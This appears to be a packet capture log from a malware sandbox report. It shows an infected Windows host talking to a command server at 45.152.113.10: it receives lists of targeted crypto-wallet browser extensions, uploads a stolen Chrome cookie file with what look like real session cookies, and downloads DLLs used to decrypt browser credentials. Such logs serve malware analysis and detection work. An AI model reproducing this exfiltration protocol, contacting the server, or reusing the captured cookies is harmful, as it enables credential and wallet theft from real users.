Sep 9, 2024 18:45:01.235604048 CEST	1236	IN	Data Raw: 63 47 35 72 62 57 52 71 63 47 39 6a 5a 32 74 6f 59 58 77 78 66 44 42 38 4d 48 78 44 62 32 6c 75 61 48 56 69 66 47 70 6e 59 57 46 70 62 57 46 71 61 58 42 69 63 47 52 76 5a 33 42 6b 5a 32 78 6f 59 58 42 6f 62 47 52 68 61 32 6c 72 5a 32 56 6d 66 44 Data Ascii: cG5rbWRqcG9jZ2toYXwxfDB8MHxDb2luaHVifGpnYWFpbWFqaXBicGRvZ3BkZ2xoYXBobGRha2lrZ2VmfDF8MHwwfE11bHRpdmVyc1ggRGVGaSBXYWxsZXR8ZG5nbWxibGNvZGZvYnBkcGVjYWFkZ2ZiY2dnZmpmbm18MXwwfDB8RnJvbnRpZXIgV2FsbGV0fGtwcGZkaWlwcGhmY2NlbWNpZ25oaWZwamthcGZiaWhkfDF8MHw
Sep 9, 2024 18:45:01.235639095 CEST	492	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 76 62 57 46 68 59 6d 4a 6c 5a 6d 4a 74 61 57 6c 71 5a 57 52 75 5a 33 42 73 5a 6d 70 74 62 6d 39 76 63 48 42 69 59 32 78 72 61 33 77 78 66 44 42 38 4d 48 78 50 63 47 56 75 54 57 46 7a 61 79 42 58 59 57 78 73 5a 58 Data Ascii: IFdhbGxldHxvbWFhYmJlZmJtaWlqZWRuZ3BsZmptbm9vcHBiY2xra3wxfDB8MHxPcGVuTWFzayBXYWxsZXR8cGVuamxkZGpramdwbmtsbGJvY2NkZ2NjZWtwa2NiaW58MXwwfDB8U2FmZVBhbCBXYWxsZXR8YXBlbmtmYmJwbWhpaGVobWlobmRtbWNkYW5hY29sbmh8MXwwfDB8Qml0Z2V0IFdhbGxldHxqaWlkaWFhbGlobW1
Sep 9, 2024 18:45:01.237638950 CEST	468	OUT	POST /92335b4816f77e90.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IDAEHCFHJJJJECAAFBKJ Host: 45.152.113.10 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 44 41 45 48 43 46 48 4a 4a 4a 4a 45 43 41 41 46 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 35 64 63 66 65 39 35 36 30 38 38 34 30 64 66 38 30 66 64 65 61 37 34 63 37 66 34 34 63 30 33 63 62 35 30 65 30 65 62 34 63 34 39 64 64 33 37 65 36 38 37 39 65 39 30 38 30 38 38 65 65 62 31 63 37 30 31 64 39 33 31 0d 0a 2d 2d 2d 2d 2d 2d 49 44 41 45 48 43 46 48 4a 4a 4a 4a 45 43 41 41 46 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 49 44 41 45 48 43 46 48 4a 4a 4a 4a 45 43 41 41 46 42 4b 4a 2d 2d 0d 0a Data Ascii: ------IDAEHCFHJJJJECAAFBKJContent-Disposition: form-data; name="token"c5dcfe95608840df80fdea74c7f44c03cb50e0eb4c49dd37e6879e908088eeb1c701d931------IDAEHCFHJJJJECAAFBKJContent-Disposition: form-data; name="message"fplugins------IDAEHCFHJJJJECAAFBKJ--
Sep 9, 2024 18:45:01.389902115 CEST	335	IN	HTTP/1.1 200 OK Date: Mon, 09 Sep 2024 16:45:01 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Sep 9, 2024 18:45:01.418335915 CEST	201	OUT	POST /92335b4816f77e90.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CBGCAFIIECBFIDHIJKFB Host: 45.152.113.10 Content-Length: 5783 Connection: Keep-Alive Cache-Control: no-cache
Sep 9, 2024 18:45:01.418379068 CEST	5783	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 4a 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 35 64 63 66 65 Data Ascii: ------CBGCAFIIECBFIDHIJKFBContent-Disposition: form-data; name="token"c5dcfe95608840df80fdea74c7f44c03cb50e0eb4c49dd37e6879e908088eeb1c701d931------CBGCAFIIECBFIDHIJKFBContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Sep 9, 2024 18:45:01.595628977 CEST	202	IN	HTTP/1.1 200 OK Date: Mon, 09 Sep 2024 16:45:01 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 9, 2024 18:45:01.596324921 CEST	92	OUT	GET /15a25e53742510fe/sqlite3.dll HTTP/1.1 Host: 45.152.113.10 Cache-Control: no-cache
Sep 9, 2024 18:45:01.733367920 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 09 Sep 2024 16:45:01 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 14:30:30 GMT ETag: "10e436-5e7eeebed8d80" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Sep 9, 2024 18:45:02.693456888 CEST	951	OUT	POST /92335b4816f77e90.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----ECGHJJEHDHCAAKFIIDGI Host: 45.152.113.10 Content-Length: 751 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 43 47 48 4a 4a 45 48 44 48 43 41 41 4b 46 49 49 44 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 35 64 63 66 65 39 35 36 30 38 38 34 30 64 66 38 30 66 64 65 61 37 34 63 37 66 34 34 63 30 33 63 62 35 30 65 30 65 62 34 63 34 39 64 64 33 37 65 36 38 37 39 65 39 30 38 30 38 38 65 65 62 31 63 37 30 31 64 39 33 31 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 48 4a 4a 45 48 44 48 43 41 41 4b 46 49 49 44 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 48 4a 4a 45 48 44 48 43 41 41 4b 46 49 49 44 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 [TRUNCATED] Data Ascii: ------ECGHJJEHDHCAAKFIIDGIContent-Disposition: form-data; name="token"c5dcfe95608840df80fdea74c7f44c03cb50e0eb4c49dd37e6879e908088eeb1c701d931------ECGHJJEHDHCAAKFIIDGIContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------ECGHJJEHDHCAAKFIIDGIContent-Disposition: form-data; name="file"Lmdvb2dsZS5jb20JVFJVRQkvCUZBTFNFCTE2OTkwMTE2MTUJMVBfSkFSCTIwMjMtMTAtMDQtMTMKLmdvb2dsZS5jb20JRkFMU0UJLwlGQUxTRQkxNzEyMjMwODE1CU5JRAk1MTE9RWY1dlBGR3ctTVpZbzVod2UtMFRoQVZzbGJ4Ym12ZFZad2NIbnFWeldIQVUxNHY1M01OMVZ2d3ZRcThiYVlmZzItSUF0cVpCVjVOT0w1cnZqMk5XSXFyejM3N1VoTGRIdE9nRS10SmFCbFVCWUpFaHVHc1FkcW5pM29USmcwYnJxdjFkamRpTEp5dlRTVWhkSy1jNUpXYWRDU3NVTFBMemhTeC1GLTZ3T2c0Cg==------ECGHJJEHDHCAAKFIIDGI--
Sep 9, 2024 18:45:02.846899033 CEST	202	IN	HTTP/1.1 200 OK Date: Mon, 09 Sep 2024 16:45:02 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=93 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 9, 2024 18:45:02.946621895 CEST	563	OUT	POST /92335b4816f77e90.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KKKJEHCGCGDAAAKFHJKJ Host: 45.152.113.10 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4b 4b 4a 45 48 43 47 43 47 44 41 41 41 4b 46 48 4a 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 35 64 63 66 65 39 35 36 30 38 38 34 30 64 66 38 30 66 64 65 61 37 34 63 37 66 34 34 63 30 33 63 62 35 30 65 30 65 62 34 63 34 39 64 64 33 37 65 36 38 37 39 65 39 30 38 30 38 38 65 65 62 31 63 37 30 31 64 39 33 31 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4b 4a 45 48 43 47 43 47 44 41 41 41 4b 46 48 4a 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4b 4a 45 48 43 47 43 47 44 41 41 41 4b 46 48 4a 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------KKKJEHCGCGDAAAKFHJKJContent-Disposition: form-data; name="token"c5dcfe95608840df80fdea74c7f44c03cb50e0eb4c49dd37e6879e908088eeb1c701d931------KKKJEHCGCGDAAAKFHJKJContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------KKKJEHCGCGDAAAKFHJKJContent-Disposition: form-data; name="file"------KKKJEHCGCGDAAAKFHJKJ--
Sep 9, 2024 18:45:03.094485044 CEST	202	IN	HTTP/1.1 200 OK Date: Mon, 09 Sep 2024 16:45:03 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 9, 2024 18:45:03.498878002 CEST	563	OUT	POST /92335b4816f77e90.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AEHIDAKECFIEBGDHJEBK Host: 45.152.113.10 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 45 48 49 44 41 4b 45 43 46 49 45 42 47 44 48 4a 45 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 35 64 63 66 65 39 35 36 30 38 38 34 30 64 66 38 30 66 64 65 61 37 34 63 37 66 34 34 63 30 33 63 62 35 30 65 30 65 62 34 63 34 39 64 64 33 37 65 36 38 37 39 65 39 30 38 30 38 38 65 65 62 31 63 37 30 31 64 39 33 31 0d 0a 2d 2d 2d 2d 2d 2d 41 45 48 49 44 41 4b 45 43 46 49 45 42 47 44 48 4a 45 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 45 48 49 44 41 4b 45 43 46 49 45 42 47 44 48 4a 45 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------AEHIDAKECFIEBGDHJEBKContent-Disposition: form-data; name="token"c5dcfe95608840df80fdea74c7f44c03cb50e0eb4c49dd37e6879e908088eeb1c701d931------AEHIDAKECFIEBGDHJEBKContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------AEHIDAKECFIEBGDHJEBKContent-Disposition: form-data; name="file"------AEHIDAKECFIEBGDHJEBK--
Sep 9, 2024 18:45:03.644196987 CEST	202	IN	HTTP/1.1 200 OK Date: Mon, 09 Sep 2024 16:45:03 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 9, 2024 18:45:04.022289038 CEST	92	OUT	GET /15a25e53742510fe/freebl3.dll HTTP/1.1 Host: 45.152.113.10 Cache-Control: no-cache
Sep 9, 2024 18:45:04.159296989 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 09 Sep 2024 16:45:04 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "a7550-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Sep 9, 2024 18:45:04.732765913 CEST	92	OUT	GET /15a25e53742510fe/mozglue.dll HTTP/1.1 Host: 45.152.113.10 Cache-Control: no-cache
Sep 9, 2024 18:45:04.869786978 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 09 Sep 2024 16:45:04 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "94750-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Sep 9, 2024 18:45:05.287694931 CEST	93	OUT	GET /15a25e53742510fe/msvcp140.dll HTTP/1.1 Host: 45.152.113.10 Cache-Control: no-cache
Sep 9, 2024 18:45:05.426115036 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 09 Sep 2024 16:45:05 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "6dde8-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Sep 9, 2024 18:45:05.748863935 CEST	89	OUT	GET /15a25e53742510fe/nss3.dll HTTP/1.1 Host: 45.152.113.10 Cache-Control: no-cache
Sep 9, 2024 18:45:05.886991978 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 09 Sep 2024 16:45:05 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "1f3950-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Sep 9, 2024 18:45:07.369548082 CEST	93	OUT	GET /15a25e53742510fe/softokn3.dll HTTP/1.1 Host: 45.152.113.10 Cache-Control: no-cache
Sep 9, 2024 18:45:07.519453049 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 09 Sep 2024 16:45:07 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "3ef50-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Sep 9, 2024 18:45:07.721743107 CEST	97	OUT	GET /15a25e53742510fe/vcruntime140.dll HTTP/1.1 Host: 45.152.113.10 Cache-Control: no-cache
Sep 9, 2024 18:45:07.859791994 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 09 Sep 2024 16:45:07 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "13bf0-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] 